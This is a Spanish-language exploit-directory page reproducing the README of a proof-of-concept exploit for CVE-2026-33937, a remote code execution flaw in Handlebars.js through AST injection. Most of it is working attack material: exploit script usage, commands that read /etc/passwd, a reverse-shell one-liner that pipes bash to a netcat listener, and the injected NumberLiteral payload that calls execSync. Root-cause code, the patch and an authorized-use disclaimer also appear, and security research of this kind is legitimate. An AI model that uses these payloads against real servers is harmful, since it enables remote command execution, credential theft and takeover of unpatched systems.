Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33937 — Python POC, Exploit para Handlebars.js AST Injection RCE. Las versiones de Handlebars.js desde la 4.0.0 hasta la 4.7.8 están afectadas. Puntuación CVSS: 9.8 Crítico. | Kitploit
Herramientas/GitHubGitHub/c0gnit00/cve-2026-33937
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Python POC, Exploit para Handlebars.js AST Injection RCE. Las versiones de Handlebars.js desde la 4.0.0 hasta la 4.7.8 están afectadas. Puntuación CVSS: 9.8 Crítico.

Ver Repositorio
1hace 17 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33937 — RCE por inyección de AST en Handlebars.js

Las versiones 4.0.0 a 4.7.8 de Handlebars.js están afectadas. Puntuación CVSS: 9.8 Crítica.


Resumen

CVE-2026-33937 es una vulnerabilidad de confusión de tipos en Handlebars.js. La función Handlebars.compile() acepta tanto una cadena de plantilla como un objeto AST preanalizado como entrada. Cuando un atacante pasa un objeto AST manipulado, el visitante NumberLiteral del compilador inserta el campo value del nodo textualmente en el cuerpo de la función JavaScript generada sin ningún tipo de saneamiento. Llamar a render() sobre el resultado ejecuta código controlado por el atacante dentro del proceso Node.js.


Uso

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Argumentos

  • --url — URL base del objetivo, p. ej. http://hello.veer/ (obligatorio)
  • --username — Dirección de correo de inicio de sesión (obligatorio)
  • --password — Contraseña de inicio de sesión (obligatorio)
  • --command — Comando del sistema operativo a ejecutar, por defecto id (opcional)

Ejemplos

root@kitploit:~
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

Cómo funciona

Paso 1 — Autenticación

El script realiza un inicio de sesión completo antes de explotar la vulnerabilidad. Primero envía una petición GET a /login para extraer el token _csrf oculto del formulario, y luego envía ese token junto con el correo electrónico y la contraseña proporcionados como un POST codificado en formulario a /login. Si tiene éxito, el servidor devuelve una redirección 302 a /dashboard y establece la cookie de sesión dz.sid, que se utiliza en todas las peticiones posteriores.

Se obtiene automáticamente un token CSRF nuevo antes de cada petición POST, porque el middleware CSRF de la aplicación requiere uno en cada operación de mutación.

Paso 2 — Punto de inyección

La aplicación expone POST /character, que acepta Content-Type: application/json. Esta ruta crea un nuevo personaje de D&D y, cuando se proporciona campaign_id, pasa el campo campaign_message directamente a Handlebars.compile() en el servidor:

root@kitploit:~
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry

Cuando el cuerpo de la petición es JSON, campaign_message puede ser un objeto anidado (el AST) en lugar de una cadena, omitiendo cualquier validación de cadenas a nivel de formulario. El campo campaign_id hace que el servidor almacene el resultado renderizado como un mensaje de registro de campaña, que luego se puede leer en GET /campaign/1, lo que proporciona al atacante la salida del comando fuera de banda.

Paso 3 — Payload del AST

El exploit utiliza NumberLiteral combinado con el helper lookup.

La compilación normal de {{lookup this 1}} produce:

root@kitploit:~
env.helpers.lookup(this, 1, {options})

El NumberLiteral.value inyectado reemplaza el 1 por:

root@kitploit:~
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

El JavaScript emitido se convierte en:

root@kitploit:~
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>

Cuando se llama a render(), execSync() se dispara y su stdout se devuelve como valor de la expresión, que se almacena como mensaje de la campaña.

Los comandos se envuelven internamente como /bin/sh -c 'cmd 2>&1' para que los comandos con espacios, tuberías y redirecciones funcionen correctamente y stderr se capture junto con stdout.

Paso 4 — Extracción de la salida

El script registra el número de mensajes de campaña antes de enviar el payload. Después del POST, vuelve a obtener /campaign/1 y corta messages[before_count:] para aislar la entrada añadida recientemente. Este enfoque maneja correctamente los casos en los que el mismo comando se ha ejecutado antes, ya que una comparación basada en conjuntos eliminaría los duplicados de salidas idénticas y omitiría el nuevo resultado.


Causa raíz técnica

Dentro de Handlebars.js javascript-compiler.js, el código vulnerable es:

root@kitploit:~
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}

La versión 4.7.9 añade una comprobación de tipo en el punto de entrada de compile() que rechaza cualquier entrada que no sea una cadena antes de llegar al generador de código:

root@kitploit:~
// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

Referencias

  • PoC de CVE-2026-33937 por dinhvaren: https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js: https://handlebarsjs.com
  • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

Descargo de responsabilidad

Este repositorio está destinado únicamente a la investigación y educación en seguridad. Utilice este exploit solo contra sistemas que posea o sobre los que tenga autorización explícita por escrito para realizar pruebas.

Descargar herramienta